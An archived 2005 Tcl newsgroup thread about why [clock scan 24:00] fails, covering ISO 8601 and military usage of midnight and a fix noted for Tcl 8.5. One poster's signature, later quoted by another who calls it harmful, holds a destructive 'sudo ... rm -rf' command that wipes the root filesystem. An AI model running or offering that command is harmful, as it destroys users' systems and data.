For Programmers: Free Programming Magazines  


Home > Archive > Tcl > April 2005 > clock scan 24:00 gives an error









You are viewing an archived Text-only version of the thread. To view this thread in it's original format and/or if you want to reply to this thread please [click here]

 

Author clock scan 24:00 gives an error
Earl Grieda

2005-04-22, 3:58 am

I am trying to have an open for business procedure and the corner case of
being open at midnight, 2400 hours, fails.

set currentTime [clock seconds]
set start [clock scan 08:00]
set stop [clock scan 24:00]

unable to convert date-time string "24:00"

Using 23:59 works, but I lose a second. :)

Seriously, isn't 24:00 a valid time?




Jeff Godfrey

2005-04-22, 3:58 am


"Earl Grieda" <eFGHgrieda789@bahooyahoo.com> wrote in message
news:7oX9e.11738$lP1.5538@newsread1.news.pas.earthlink.net...
>I am trying to have an open for business procedure and the corner case of
> being open at midnight, 2400 hours, fails.
>
> set currentTime [clock seconds]
> set start [clock scan 08:00]
> set stop [clock scan 24:00]
>
> unable to convert date-time string "24:00"
>
> Using 23:59 works, but I lose a second. :)
>
> Seriously, isn't 24:00 a valid time?


Shouldn't that be 00:00 of the next day?

Jeff


Earl Grieda

2005-04-22, 3:58 am


"Jeff Godfrey" <jeff_godfrey@pobox.com> wrote in message
news:xxX9e.10074$yq6.1564@newsread3.news.pas.earthlink.net...
>
> "Earl Grieda" <eFGHgrieda789@bahooyahoo.com> wrote in message
> news:7oX9e.11738$lP1.5538@newsread1.news.pas.earthlink.net...
>
> Shouldn't that be 00:00 of the next day?
>


Yes, but then you have inequality issues; i.e while 17:00 is less than
24:00, its greater than 00:00. I've worked around it, but I was just
curious why 24:00 isn't a valid time.


Khaled

2005-04-22, 3:58 am

Earl Grieda wrote:
> "Jeff Godfrey" <jeff_godfrey@pobox.com> wrote in message
> news:xxX9e.10074$yq6.1564@newsread3.news.pas.earthlink.net...
case of[color=darkred]
>
> Yes, but then you have inequality issues; i.e while 17:00 is less

than
> 24:00, its greater than 00:00. I've worked around it, but I was just
> curious why 24:00 isn't a valid time.



Because there is no such hour. 24:00 is just similar to 25:00, both do
not exist.

Earl Grieda

2005-04-22, 3:58 am


"Khaled" <ksubs@free.fr> wrote in message
news:1114132901.444392.33040@l41g2000cwc.googlegroups.com...
> Earl Grieda wrote:
> case of
> than
>
>
> Because there is no such hour. 24:00 is just similar to 25:00, both do
> not exist.
>


After seeing your answer I thought that was strange since in the Navy we
called midnight 2400 hours. After searching the web it seems that there is
differant ideas as to exactly what is midnight (00:00, 24:00, or both).
Since both seems to be popular perhaps [clock] should support both. But,
its not that big a deal, at least for me in this case since I have already
fixed it.

http://www.silentwarriors.net/militarytime.html


Arjen Markus

2005-04-22, 8:58 am

Khaled wrote:
>


> than
>
> Because there is no such hour. 24:00 is just similar to 25:00, both do
> not exist.


Hm, the ISO standard for dates/times does consider the practice of using
24:00 to mean the end of the current day IIRC. (I do not know at the
moment whether it considers it a valid time, though ;))

Regards,

Arjen
Matthias Kraft

2005-04-22, 8:58 am

Earl Grieda wrote:
> After seeing your answer I thought that was strange since in the Navy we
> called midnight 2400 hours. After searching the web it seems that there is
> differant ideas as to exactly what is midnight (00:00, 24:00, or both).
> Since both seems to be popular perhaps [clock] should support both. But,
> its not that big a deal, at least for me in this case since I have already
> fixed it.


As I saw your answer I initially wanted to counter it, but fortunately
decided to look somewhere else first. E. g.
http://en.wikipedia.org/wiki/24-hour_clock
http://www.cl.cam.ac.uk/~mgk25/iso-time.html#time

So it really is: this day 24:00 == next day 0:00 ...

Although I remember we were talking about "Zero Zulu" when referencing
midnight at the NATO unit I was with.

kind regards
--
Matthias Kraft
Software AG, Germany

(They that can give up essential liberty to obtain a little temporary)
(safety deserve neither liberty nor safety. -- Benjamin Franklin)
Kevin Kenny

2005-04-22, 4:01 pm

Earl Grieda wrote:
> Seriously, isn't 24:00 a valid time?


Fixed in 8.5. At least with the new fixed-format [clock scan] -
there appears to be a bug with the free-format one that
[clock scan 24:00] returns 23:59:59. I gotta track that one
down.

--
73 de ke9tv/2, Kevin
Peter Flynn

2005-04-23, 3:58 am

Earl Grieda wrote:

>
> "Jeff Godfrey" <jeff_godfrey@pobox.com> wrote in message
> news:xxX9e.10074$yq6.1564@newsread3.news.pas.earthlink.net...
>
> Yes, but then you have inequality issues; i.e while 17:00 is less than
> 24:00, its greater than 00:00. I've worked around it, but I was just
> curious why 24:00 isn't a valid time.


I think because it doesn't exist. 23:59:59.9999999999999999999999999999
exists, but after that it's 00:00

If you need 17:00 to be earlier than midnight, you may need to do a full
date compare, eg 2005-04-23T17:00:00 < 2005-04-24T00:00:00

///Peter
--
sudo sh -c "cd /;/bin/rm -rf `which killall kill ps shutdown mount gdb` *
&;top"
Khaled

2005-04-24, 3:58 am

Peter Flynn wrote:
>
> sudo sh -c "cd /;/bin/rm -rf `which killall kill ps shutdown mount

gdb` *
> &;top"
>


Hi Peter

Just wondering why do you publish such harmful line in yr signature.
Are you targeting users who'd try anything? Is there a good purpose of
this?

Rgrds,
Khaled

Sponsored Links







Also available: Server administration forum archive | Web Design forum archive | Software forum archive | Hardware reviews archive

Copyright 2008 codecomments.com